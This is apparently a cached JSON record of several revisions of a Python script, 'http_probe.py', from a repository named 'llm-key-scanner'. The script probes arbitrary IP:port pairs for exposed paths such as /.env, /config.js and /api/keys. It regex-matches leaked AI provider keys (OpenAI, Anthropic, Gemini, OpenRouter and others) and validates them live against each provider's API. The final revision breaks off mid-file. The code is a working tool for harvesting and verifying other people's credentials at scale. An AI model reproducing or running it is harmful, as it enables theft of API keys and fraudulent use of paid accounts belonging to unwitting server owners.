Files
hack/tools/scripts/llm-key-hunter/results/_cache/content/bankai-max-wow_llm-key-scanner.json

1 line
39 KiB
JSON

{"repo": "bankai-max-wow/llm-key-scanner", "files": {"http_probe.py": {"cc3b82cde37ccf259151b0ea8cebd89dc621bb7f": {"t": 1785747465.551429, "n": 6166, "h": "b4aec8a18b126921", "c": "\"\"\"\nHTTP probe — fires HTTP requests at discovered ports to find API key panels.\nSequential endpoint probing with debug logging.\n\"\"\"\nimport re\nimport logging\nimport asyncio\nfrom typing import Optional\nimport aiohttp\n\nlogger = logging.getLogger(__name__)\n\nTARGET_ENDPOINTS = [\n \"/api/settings\", \"/.env\", \"/config.js\", \"/api/config\",\n \"/config.json\", \"/env\", \"/server.js\", \"/app.js\",\n \"/settings\", \"/admin/settings\", \"/api/keys\", \"/keys\",\n \"/api/v1/settings\", \"/config\", \"/dashboard\",\n \"/.env.local\", \"/.env.production\",\n \"/api/env\", \"/api/.env\", \"/debug\",\n \"/litellm/config\", \"/proxy/config\",\n \"/api/providers\", \"/providers\",\n]\n\nKEY_PATTERNS = {\n \"OpenAI\": re.compile(r'sk-(?:proj-|live-|test-)?[A-Za-z0-9]{20,}(?:T3BlbkFJ[A-Za-z0-9]{20,})?'),\n \"Gemini\": re.compile(r'AIza[0-9A-Za-z_-]{35}'),\n \"OpenRouter\": re.compile(r'sk-or-v1-[A-Za-z0-9]{40,}'),\n \"DeepSeek\": re.compile(r'sk-[a-f0-9]{32,}'),\n \"Anthropic\": re.compile(r'sk-ant-api03-[A-Za-z0-9_-]{40,}'),\n \"HuggingFace\": re.compile(r'hf_[A-Za-z0-9]{34,}'),\n \"TogetherAI\": re.compile(r'together-[A-Za-z0-9]{20,}'),\n \"Groq\": re.compile(r'gsk_[A-Za-z0-9]{20,}'),\n \"Perplexity\": re.compile(r'pplx-[A-Za-z0-9]{20,}'),\n}\n\nVALIDATION_ENDPOINTS = {\n \"OpenAI\": {\"url\": \"https://api.openai.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"Gemini\": {\"url\": \"https://generativelanguage.googleapis.com/v1beta/models?key={key}\", \"headers\": lambda k: {}, \"success_check\": lambda r: r.status == 200},\n \"OpenRouter\": {\"url\": \"https://openrouter.ai/api/v1/auth/key\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"DeepSeek\": {\"url\": \"https://api.deepseek.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"Anthropic\": {\"url\": \"https://api.anthropic.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\", \"anthropic-version\": \"2023-06-01\"}, \"success_check\": lambda r: r.status == 200},\n \"HuggingFace\": {\"url\": \"https://huggingface.co/api/models?limit=1\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n}\n\n\nclass FoundKey:\n def __init__(self, provider: str, key: str, source_ip: str, source_port: int, endpoint: str):\n self.provider = provider\n self.key = key\n self.source_ip = source_ip\n self.source_port = source_port\n self.endpoint = endpoint\n self.validated = None\n\n def __repr__(self):\n return f\"<{self.provider}:{self.key[:16]}... @ {self.source_ip}:{self.source_port}{self.endpoint}>\"\n\n\nclass HTTPProbe:\n \"\"\"Probes IP:port — sequential endpoints, logs every response.\"\"\"\n\n def __init__(self, timeout: float = 8.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(\n limit=0, limit_per_host=3, force_close=True, ttl_dns_cache=30,\n )\n\n async def probe_ip_port(self, ip: str, port: int) -> list[FoundKey]:\n found = []\n async with aiohttp.ClientSession(connector=self.connector) as session:\n for idx, ep in enumerate(TARGET_ENDPOINTS):\n url = f\"http://{ip}:{port}{ep}\"\n try:\n async with session.get(url, timeout=aiohttp.ClientTimeout(total=self.timeout), ssl=False) as resp:\n status = resp.status\n if status in (200, 401, 403):\n text = await resp.text()\n keys = self._extract(text, ip, port, ep)\n if keys:\n logger.info(f\"🔑 HTTP {status} {ip}:{port}{ep} — {len(keys)} KEY(S)\")\n found.extend(keys)\n elif idx < 3:\n # Only log first few endpoints to reduce noise\n logger.info(f\"HTTP {status} {ip}:{port}{ep} — probing...\")\n if status in (200, 401) and not keys:\n # Server responded with real content but no keys\n # Still useful to know\n if idx < 3:\n logger.info(f\"HTTP {status} {ip}:{port}{ep} — live server, {len(text)}b\")\n except asyncio.TimeoutError:\n if idx < 3:\n logger.info(f\"TIMEOUT {ip}:{port}{ep}\")\n except (aiohttp.ClientError, Exception):\n pass\n return found\n\n def _extract(self, text: str, ip: str, port: int, endpoint: str) -> list[FoundKey]:\n found = []\n for provider, pattern in KEY_PATTERNS.items():\n for match in pattern.findall(text):\n found.append(FoundKey(provider, match, ip, port, endpoint))\n return found\n\n\nclass KeyValidator:\n \"\"\"Validates keys against provider APIs.\"\"\"\n\n def __init__(self, timeout: float = 8.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(limit=100)\n\n async def validate(self, key: FoundKey) -> Optional[FoundKey]:\n prov = key.provider\n if prov not in VALIDATION_ENDPOINTS:\n return None\n cfg = VALIDATION_ENDPOINTS[prov]\n url = cfg[\"url\"].format(key=key.key) if \"{key}\" in cfg[\"url\"] else cfg[\"url\"]\n headers = cfg[\"headers\"](key.key)\n try:\n async with aiohttp.ClientSession(connector=self.connector) as s:\n async with s.get(url, headers=headers, timeout=aiohttp.ClientTimeout(total=self.timeout), ssl=True) as r:\n if cfg[\"success_check\"](r):\n key.validated = True\n return key\n except Exception:\n pass\n key.validated = False\n return None\n\n async def validate_batch(self, keys: list[FoundKey]) -> list[FoundKey]:\n tasks = [self.validate(k) for k in keys]\n results = await asyncio.gather(*tasks)\n return [r for r in results if r is not None and r.validated]\n"}, "cb14c7ae5dc7a6636783bbef6ccb95363ac65648": {"t": 1785773468.4316814, "n": 6352, "h": "cc9c5c09e2a11c8d", "c": "\"\"\"\nHTTP probe — ALL endpoints in parallel per IP:port.\nLogs HTTP status codes for debugging.\nParallel fetch means total time = max(endpoint), not sum(endpoints).\n\"\"\"\nimport re\nimport logging\nimport asyncio\nfrom typing import Optional\nimport aiohttp\n\nlogger = logging.getLogger(__name__)\n\n# High-value endpoints — ordered by likelihood\nTARGET_ENDPOINTS = [\n \"/api/settings\", \"/.env\", \"/config.js\", \"/api/config\",\n \"/config.json\", \"/env\", \"/server.js\", \"/app.js\",\n \"/settings\", \"/admin/settings\", \"/api/keys\", \"/keys\",\n \"/api/v1/settings\", \"/config\", \"/dashboard\",\n \"/.env.local\", \"/.env.production\",\n \"/api/env\", \"/api/.env\", \"/debug\",\n \"/litellm/config\", \"/proxy/config\",\n \"/api/providers\", \"/providers\",\n]\n\nKEY_PATTERNS = {\n \"OpenAI\": re.compile(r'sk-(?:proj-|live-|test-)?[A-Za-z0-9]{20,}(?:T3BlbkFJ[A-Za-z0-9]{20,})?'),\n \"Gemini\": re.compile(r'AIza[0-9A-Za-z_-]{35}'),\n \"OpenRouter\": re.compile(r'sk-or-v1-[A-Za-z0-9]{40,}'),\n \"DeepSeek\": re.compile(r'sk-[a-f0-9]{32,}'),\n \"Anthropic\": re.compile(r'sk-ant-api03-[A-Za-z0-9_-]{40,}'),\n \"HuggingFace\": re.compile(r'hf_[A-Za-z0-9]{34,}'),\n \"TogetherAI\": re.compile(r'together-[A-Za-z0-9]{20,}'),\n \"Groq\": re.compile(r'gsk_[A-Za-z0-9]{20,}'),\n \"Perplexity\": re.compile(r'pplx-[A-Za-z0-9]{20,}'),\n}\n\nVALIDATION_ENDPOINTS = {\n \"OpenAI\": {\"url\": \"https://api.openai.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"Gemini\": {\"url\": \"https://generativelanguage.googleapis.com/v1beta/models?key={key}\", \"headers\": lambda k: {}, \"success_check\": lambda r: r.status == 200},\n \"OpenRouter\": {\"url\": \"https://openrouter.ai/api/v1/auth/key\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"DeepSeek\": {\"url\": \"https://api.deepseek.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"Anthropic\": {\"url\": \"https://api.anthropic.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\", \"anthropic-version\": \"2023-06-01\"}, \"success_check\": lambda r: r.status == 200},\n \"HuggingFace\": {\"url\": \"https://huggingface.co/api/models?limit=1\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n}\n\n\nclass FoundKey:\n def __init__(self, provider: str, key: str, source_ip: str, source_port: int, endpoint: str):\n self.provider = provider\n self.key = key\n self.source_ip = source_ip\n self.source_port = source_port\n self.endpoint = endpoint\n self.validated = None\n\n def __repr__(self):\n return f\"<{self.provider}:{self.key[:16]}... @ {self.source_ip}:{self.source_port}{self.endpoint}>\"\n\n\nclass HTTPProbe:\n \"\"\"Probes IP:port for API keys — ALL endpoints in parallel per port.\"\"\"\n\n def __init__(self, timeout: float = 5.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(\n limit=0, # no limit on total connections\n limit_per_host=10, # but limit per host to avoid hammering one IP\n force_close=True,\n ttl_dns_cache=30,\n )\n\n async def probe_ip_port(self, ip: str, port: int) -> list[FoundKey]:\n \"\"\"Probe ALL endpoints on one IP:port IN PARALLEL. Returns keys found.\"\"\"\n found = []\n async with aiohttp.ClientSession(connector=self.connector) as session:\n # Fire ALL endpoint requests in parallel\n tasks = []\n for ep in TARGET_ENDPOINTS:\n url = f\"http://{ip}:{port}{ep}\"\n tasks.append(self._fetch_one(session, url, ip, port, ep))\n\n results = await asyncio.gather(*tasks, return_exceptions=True)\n\n # Collect all keys found across all endpoints\n for r in results:\n if isinstance(r, list) and r:\n found.extend(r)\n\n return found\n\n async def _fetch_one(self, session, url: str, ip: str, port: int, endpoint: str):\n \"\"\"Fetch a single endpoint and extract keys.\"\"\"\n try:\n async with session.get(\n url,\n timeout=aiohttp.ClientTimeout(total=self.timeout),\n ssl=False,\n ) as resp:\n # Log interesting responses for debugging\n if resp.status in (200, 401, 403, 500, 502):\n text = await resp.text()\n keys = self._extract(text, ip, port, endpoint)\n if keys:\n logger.info(f\"HTTP {resp.status} on {ip}:{port}{endpoint} — FOUND {len(keys)} KEY(S)\")\n return keys\n except (asyncio.TimeoutError, aiohttp.ClientError, Exception):\n pass\n return None\n\n def _extract(self, text: str, ip: str, port: int, endpoint: str) -> list[FoundKey]:\n found = []\n for provider, pattern in KEY_PATTERNS.items():\n for match in pattern.findall(text):\n found.append(FoundKey(provider, match, ip, port, endpoint))\n return found\n\n\nclass KeyValidator:\n \"\"\"Validates keys against provider APIs — parallel batch.\"\"\"\n\n def __init__(self, timeout: float = 8.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(limit=100)\n\n async def validate(self, key: FoundKey) -> Optional[FoundKey]:\n prov = key.provider\n if prov not in VALIDATION_ENDPOINTS:\n return None\n cfg = VALIDATION_ENDPOINTS[prov]\n url = cfg[\"url\"].format(key=key.key) if \"{key}\" in cfg[\"url\"] else cfg[\"url\"]\n headers = cfg[\"headers\"](key.key)\n try:\n async with aiohttp.ClientSession(connector=self.connector) as s:\n async with s.get(url, headers=headers, timeout=aiohttp.ClientTimeout(total=self.timeout), ssl=True) as r:\n if cfg[\"success_check\"](r):\n key.validated = True\n return key\n except Exception:\n pass\n key.validated = False\n return None\n\n async def validate_batch(self, keys: list[FoundKey]) -> list[FoundKey]:\n tasks = [self.validate(k) for k in keys]\n results = await asyncio.gather(*tasks)\n return [r for r in results if r is not None and r.validated]\n"}, "406f77ef4cff34044135e7a132408c692534850a": {"t": 1785773469.7210615, "n": 5267, "h": "58b33d4024f06e74", "c": "\"\"\"\nHTTP probe — fires HTTP requests at discovered ports to find API key panels.\nShared session, focused endpoints, no overhead.\n\"\"\"\nimport re\nimport logging\nimport asyncio\nfrom typing import Optional\nimport aiohttp\n\nlogger = logging.getLogger(__name__)\n\nTARGET_ENDPOINTS = [\n \"/api/settings\", \"/.env\", \"/config.js\", \"/api/config\",\n \"/config.json\", \"/env\", \"/server.js\", \"/app.js\",\n \"/settings\", \"/admin/settings\", \"/api/keys\", \"/keys\",\n \"/api/v1/settings\", \"/config\", \"/dashboard\",\n \"/.env.local\", \"/.env.production\", \"/env.js\", \"/env.json\",\n \"/api/env\", \"/api/.env\", \"/debug\", \"/api/debug\",\n \"/panel\", \"/litellm/config\", \"/proxy/config\",\n \"/api/providers\", \"/providers\", \"/v1/config\",\n]\n\nKEY_PATTERNS = {\n \"OpenAI\": re.compile(r'sk-(?:proj-|live-|test-)?[A-Za-z0-9]{20,}(?:T3BlbkFJ[A-Za-z0-9]{20,})?'),\n \"Gemini\": re.compile(r'AIza[0-9A-Za-z_-]{35}'),\n \"OpenRouter\": re.compile(r'sk-or-v1-[A-Za-z0-9]{40,}'),\n \"DeepSeek\": re.compile(r'sk-[a-f0-9]{32,}'),\n \"Anthropic\": re.compile(r'sk-ant-api03-[A-Za-z0-9_-]{40,}'),\n \"HuggingFace\": re.compile(r'hf_[A-Za-z0-9]{34,}'),\n \"TogetherAI\": re.compile(r'together-[A-Za-z0-9]{20,}'),\n \"Groq\": re.compile(r'gsk_[A-Za-z0-9]{20,}'),\n \"Perplexity\": re.compile(r'pplx-[A-Za-z0-9]{20,}'),\n}\n\nVALIDATION_ENDPOINTS = {\n \"OpenAI\": {\"url\": \"https://api.openai.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"Gemini\": {\"url\": \"https://generativelanguage.googleapis.com/v1beta/models?key={key}\", \"headers\": lambda k: {}, \"success_check\": lambda r: r.status == 200},\n \"OpenRouter\": {\"url\": \"https://openrouter.ai/api/v1/auth/key\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"DeepSeek\": {\"url\": \"https://api.deepseek.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n \"Anthropic\": {\"url\": \"https://api.anthropic.com/v1/models\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\", \"anthropic-version\": \"2023-06-01\"}, \"success_check\": lambda r: r.status == 200},\n \"HuggingFace\": {\"url\": \"https://huggingface.co/api/models?limit=1\", \"headers\": lambda k: {\"Authorization\": f\"Bearer {k}\"}, \"success_check\": lambda r: r.status == 200},\n}\n\n\nclass FoundKey:\n def __init__(self, provider: str, key: str, source_ip: str, source_port: int, endpoint: str):\n self.provider = provider\n self.key = key\n self.source_ip = source_ip\n self.source_port = source_port\n self.endpoint = endpoint\n self.validated = None\n\n def __repr__(self):\n return f\"<{self.provider}:{self.key[:16]}... @ {self.source_ip}:{self.source_port}{self.endpoint}>\"\n\n\nclass HTTPProbe:\n \"\"\"Probes IP:port for API keys using a shared session per port.\"\"\"\n\n def __init__(self, timeout: float = 3.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(limit=0, force_close=True, ttl_dns_cache=30)\n\n async def probe_ip_port(self, ip: str, port: int) -> list[FoundKey]:\n found = []\n async with aiohttp.ClientSession(connector=self.connector) as session:\n for ep in TARGET_ENDPOINTS:\n url = f\"http://{ip}:{port}{ep}\"\n try:\n async with session.get(url, timeout=aiohttp.ClientTimeout(total=self.timeout), ssl=False) as resp:\n if resp.status in (200, 401, 403):\n text = await resp.text()\n found.extend(self._extract(text, ip, port, ep))\n except (asyncio.TimeoutError, aiohttp.ClientError, Exception):\n continue\n return found\n\n def _extract(self, text: str, ip: str, port: int, endpoint: str) -> list[FoundKey]:\n found = []\n for provider, pattern in KEY_PATTERNS.items():\n for match in pattern.findall(text):\n found.append(FoundKey(provider, match, ip, port, endpoint))\n return found\n\n\nclass KeyValidator:\n \"\"\"Validates keys against provider APIs.\"\"\"\n\n def __init__(self, timeout: float = 8.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(limit=100)\n\n async def validate(self, key: FoundKey) -> Optional[FoundKey]:\n prov = key.provider\n if prov not in VALIDATION_ENDPOINTS:\n return None\n cfg = VALIDATION_ENDPOINTS[prov]\n url = cfg[\"url\"].format(key=key.key) if \"{key}\" in cfg[\"url\"] else cfg[\"url\"]\n headers = cfg[\"headers\"](key.key)\n try:\n async with aiohttp.ClientSession(connector=self.connector) as s:\n async with s.get(url, headers=headers, timeout=aiohttp.ClientTimeout(total=self.timeout), ssl=True) as r:\n if cfg[\"success_check\"](r):\n key.validated = True\n return key\n except Exception:\n pass\n key.validated = False\n return None\n\n async def validate_batch(self, keys: list[FoundKey]) -> list[FoundKey]:\n tasks = [self.validate(k) for k in keys]\n results = await asyncio.gather(*tasks)\n return [r for r in results if r is not None and r.validated]\n"}, "2749865d6adff00846e7f9f9f0e0647492ae7892": {"t": 1785773471.5811834, "n": 9562, "h": "f53e292088816f46", "c": "\"\"\"\nHTTP probe — fires HTTP requests at discovered ports to find API key panels.\nRegex-based extraction for OpenAI, Gemini, OpenRouter, DeepSeek, etc.\n\"\"\"\nimport re\nimport json\nimport logging\nimport asyncio\nfrom typing import Optional\nimport aiohttp\n\nlogger = logging.getLogger(__name__)\n\n# High-value endpoints that often leak API keys\nTARGET_ENDPOINTS = [\n \"/api/settings\",\n \"/api/config\",\n \"/config.js\",\n \"/config.json\",\n \"/.env\",\n \"/env\",\n \"/server.js\",\n \"/app.js\",\n \"/index.js\",\n \"/main.js\",\n \"/settings\",\n \"/admin\",\n \"/admin/settings\",\n \"/admin/config\",\n \"/api/admin/settings\",\n \"/api/keys\",\n \"/api/key\",\n \"/keys\",\n \"/api/v1/keys\",\n \"/api/v1/settings\",\n \"/api/v1/config\",\n \"/api/v2/settings\",\n \"/api/v2/config\",\n \"/config\",\n \"/dashboard\",\n \"/api/dashboard\",\n \"/api/health\",\n \"/api/status\",\n \"/v1/settings\",\n \"/v2/settings\",\n \"/.config.json\",\n \"/config.yaml\",\n \"/config.yml\",\n \"/config.toml\",\n \"/.env.local\",\n \"/.env.production\",\n \"/.env.development\",\n \"/env.js\",\n \"/env.json\",\n \"/api/env\",\n \"/api/.env\",\n \"/debug\",\n \"/api/debug\",\n \"/api/info\",\n \"/info\",\n \"/status\",\n \"/api/status/config\",\n \"/api/admin\",\n \"/panel\",\n \"/api/panel\",\n \"/litellm/config\",\n \"/litellm/api/config\",\n \"/proxy/config\",\n \"/api/proxy/config\",\n \"/openai\",\n \"/api/openai\",\n \"/api/chat/config\",\n \"/api/providers\",\n \"/providers\",\n]\n\n# Regex patterns for various API key providers\nKEY_PATTERNS = {\n \"OpenAI\": re.compile(\n r'sk-(?:proj-|live-|test-)?[A-Za-z0-9]{20,}(?:T3BlbkFJ[A-Za-z0-9]{20,})?',\n re.IGNORECASE\n ),\n \"Gemini\": re.compile(\n r'AIza[0-9A-Za-z_-]{35}',\n re.IGNORECASE\n ),\n \"OpenRouter\": re.compile(\n r'sk-or-v1-[A-Za-z0-9]{40,}',\n re.IGNORECASE\n ),\n \"DeepSeek\": re.compile(\n r'sk-[a-f0-9]{32,}',\n re.IGNORECASE\n ),\n \"Anthropic\": re.compile(\n r'sk-ant-api03-[A-Za-z0-9_-]{40,}',\n re.IGNORECASE\n ),\n \"Cohere\": re.compile(\n r'[A-Za-z0-9]{40}',\n re.IGNORECASE\n ),\n \"HuggingFace\": re.compile(\n r'hf_[A-Za-z0-9]{34,}',\n re.IGNORECASE\n ),\n \"Azure\": re.compile(\n r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',\n re.IGNORECASE\n ),\n \"TogetherAI\": re.compile(\n r'together-[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Groq\": re.compile(\n r'gsk_[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Replicate\": re.compile(\n r'r8_[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Perplexity\": re.compile(\n r'pplx-[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Mistral\": re.compile(\n r'[A-Za-z0-9]{32}',\n re.IGNORECASE\n ),\n}\n\n# Provider-specific model endpoints for validation\nVALIDATION_ENDPOINTS = {\n \"OpenAI\": {\n \"url\": \"https://api.openai.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Gemini\": {\n \"url\": \"https://generativelanguage.googleapis.com/v1beta/models?key={key}\",\n \"headers\": lambda key: {},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"OpenRouter\": {\n \"url\": \"https://openrouter.ai/api/v1/auth/key\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"DeepSeek\": {\n \"url\": \"https://api.deepseek.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Anthropic\": {\n \"url\": \"https://api.anthropic.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\", \"anthropic-version\": \"2023-06-01\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"HuggingFace\": {\n \"url\": \"https://huggingface.co/api/models?limit=1\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"TogetherAI\": {\n \"url\": \"https://api.together.xyz/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Groq\": {\n \"url\": \"https://api.groq.com/openai/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Replicate\": {\n \"url\": \"https://api.replicate.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Key {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Perplexity\": {\n \"url\": \"https://api.perplexity.ai/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Mistral\": {\n \"url\": \"https://api.mistral.ai/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n}\n\n\nclass FoundKey:\n \"\"\"Represents a discovered API key with its metadata.\"\"\"\n\n def __init__(self, provider: str, key: str, source_ip: str, source_port: int, endpoint: str):\n self.provider = provider\n self.key = key\n self.source_ip = source_ip\n self.source_port = source_port\n self.endpoint = endpoint\n self.validated = None\n\n def to_dict(self) -> dict:\n return {\n \"provider\": self.provider,\n \"key\": self.key,\n \"ip\": self.source_ip,\n \"port\": self.source_port,\n \"endpoint\": self.endpoint,\n \"validated\": self.validated,\n }\n\n def __repr__(self):\n return f\"<FoundKey {self.provider}:{self.key[:20]}... @ {self.source_ip}:{self.source_port}{self.endpoint}>\"\n\n\nclass HTTPProbe:\n \"\"\"HTTP prober — checks endpoints and extracts API keys.\"\"\"\n\n def __init__(self, timeout: float = 4.0, max_concurrent: int = 200):\n self.timeout = timeout\n self.semaphore = asyncio.Semaphore(max_concurrent)\n self.connector = aiohttp.TCPConnector(limit=0, force_close=True)\n\n async def probe_ip_port(self, ip: str, port: int) -> list[FoundKey]:\n \"\"\"\n Probe a single IP:port pair against all endpoints.\n Returns list of FoundKey objects.\n \"\"\"\n found_keys = []\n async with self.semaphore:\n for endpoint in TARGET_ENDPOINTS:\n url = f\"http://{ip}:{port}{endpoint}\"\n try:\n async with aiohttp.ClientSession(connector=self.connector) as session:\n async with session.get(url, timeout=aiohttp.ClientTimeout(total=self.timeout),\n ssl=False) as resp:\n if resp.status in (200, 401, 403, 500, 502, 503):\n text = await resp.text()\n keys = self._extract_keys(text, ip, port, endpoint)\n found_keys.extend(keys)\n except (asyncio.TimeoutError, aiohttp.ClientError, Exception):\n continue\n return found_keys\n\n def _extract_keys(self, text: str, ip: str, port: int, endpoint: str) -> list[FoundKey]:\n \"\"\"Extract all API keys from response text.\"\"\"\n found = []\n for provider, pattern in KEY_PATTERNS.items():\n matches = pattern.findall(text)\n for match in matches:\n # Deduplicate by key value\n key_obj = FoundKey(provider, match, ip, port, endpoint)\n found.append(key_obj)\n return found\n\n\nclass KeyValidator:\n \"\"\"Validates discovered API keys against their provider APIs.\"\"\"\n\n def __init__(self, timeout: float = 10.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(limit=50)\n\n async def validate(self, found_key: FoundKey) -> Optional[FoundKey]:\n \"\"\"\n Validate a key against its provider's API.\n Returns the FoundKey with validated=True/False or None if no validator.\n \"\"\"\n provider = found_key.provider\n if provider not in VALIDATION_ENDPOINTS:\n found_key.validated = None # Can't validate\n return None\n\n config = VALIDATION_ENDPOINTS[provider]\n url = config[\"url\"].format(key=found_key.key) if \"{key}\" in config[\"url\"] else config[\"url\"]\n headers = config[\"headers\"](found_key.key)\n\n try:\n async with aiohttp.ClientSession(connector=self.connector) as session:\n async with session.get(url, headers=headers,\n timeout=aiohttp.ClientTimeout(total=self.timeout),\n ssl=True) as resp:\n is_valid = config[\"success_check\"](resp)\n found_key.validated = is_valid\n if is_valid:\n return found_key\n return None\n except Exception:\n found_key.validated = False\n return None\n\n async def validate_batch(self, keys: list[FoundKey]) -> list[FoundKey]:\n \"\"\"Validate multiple keys in parallel. Returns only valid ones.\"\"\"\n tasks = [self.validate(k) for k in keys]\n results = await asyncio.gather(*tasks)\n return [r for r in results if r is not None and r.validated]\n"}, "d5f1401eb0c06641a366c5b139ae4ada673a60ed": {"t": 1785773474.0853977, "n": 9562, "h": "58340a3d525abfb4", "c": "\"\"\"\nHTTP probe — fires HTTP requests at discovered ports to find API key panels.\nRegex-based extraction for OpenAI, Gemini, OpenRouter, DeepSeek, etc.\n\"\"\"\nimport re\nimport json\nimport logging\nimport asyncio\nfrom typing import Optional\nimport aiohttp\n\nlogger = logging.getLogger(__name__)\n\n# High-value endpoints that often leak API keys\nTARGET_ENDPOINTS = [\n \"/api/settings\",\n \"/api/config\",\n \"/config.js\",\n \"/config.json\",\n \"/.env\",\n \"/env\",\n \"/server.js\",\n \"/app.js\",\n \"/index.js\",\n \"/main.js\",\n \"/settings\",\n \"/admin\",\n \"/admin/settings\",\n \"/admin/config\",\n \"/api/admin/settings\",\n \"/api/keys\",\n \"/api/key\",\n \"/keys\",\n \"/api/v1/keys\",\n \"/api/v1/settings\",\n \"/api/v1/config\",\n \"/api/v2/settings\",\n \"/api/v2/config\",\n \"/config\",\n \"/dashboard\",\n \"/api/dashboard\",\n \"/api/health\",\n \"/api/status\",\n \"/v1/settings\",\n \"/v2/settings\",\n \"/.config.json\",\n \"/config.yaml\",\n \"/config.yml\",\n \"/config.toml\",\n \"/.env.local\",\n \"/.env.production\",\n \"/.env.development\",\n \"/env.js\",\n \"/env.json\",\n \"/api/env\",\n \"/api/.env\",\n \"/debug\",\n \"/api/debug\",\n \"/api/info\",\n \"/info\",\n \"/status\",\n \"/api/status/config\",\n \"/api/admin\",\n \"/panel\",\n \"/api/panel\",\n \"/litellm/config\",\n \"/litellm/api/config\",\n \"/proxy/config\",\n \"/api/proxy/config\",\n \"/openai\",\n \"/api/openai\",\n \"/api/chat/config\",\n \"/api/providers\",\n \"/providers\",\n]\n\n# Regex patterns for various API key providers\nKEY_PATTERNS = {\n \"OpenAI\": re.compile(\n r'sk-(?:proj-|live-|test-)?[A-Za-z0-9]{20,}(?:T3BlbkFJ[A-Za-z0-9]{20,})?',\n re.IGNORECASE\n ),\n \"Gemini\": re.compile(\n r'AIza[0-9A-Za-z_-]{35}',\n re.IGNORECASE\n ),\n \"OpenRouter\": re.compile(\n r'sk-or-v1-[A-Za-z0-9]{40,}',\n re.IGNORECASE\n ),\n \"DeepSeek\": re.compile(\n r'sk-[a-f0-9]{32,}',\n re.IGNORECASE\n ),\n \"Anthropic\": re.compile(\n r'sk-ant-api03-[A-Za-z0-9_-]{40,}',\n re.IGNORECASE\n ),\n \"Cohere\": re.compile(\n r'[A-Za-z0-9]{40}',\n re.IGNORECASE\n ),\n \"HuggingFace\": re.compile(\n r'hf_[A-Za-z0-9]{34,}',\n re.IGNORECASE\n ),\n \"Azure\": re.compile(\n r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',\n re.IGNORECASE\n ),\n \"TogetherAI\": re.compile(\n r'together-[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Groq\": re.compile(\n r'gsk_[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Replicate\": re.compile(\n r'r8_[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Perplexity\": re.compile(\n r'pplx-[A-Za-z0-9]{20,}',\n re.IGNORECASE\n ),\n \"Mistral\": re.compile(\n r'[A-Za-z0-9]{32}',\n re.IGNORECASE\n ),\n}\n\n# Provider-specific model endpoints for validation\nVALIDATION_ENDPOINTS = {\n \"OpenAI\": {\n \"url\": \"https://api.openai.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Gemini\": {\n \"url\": 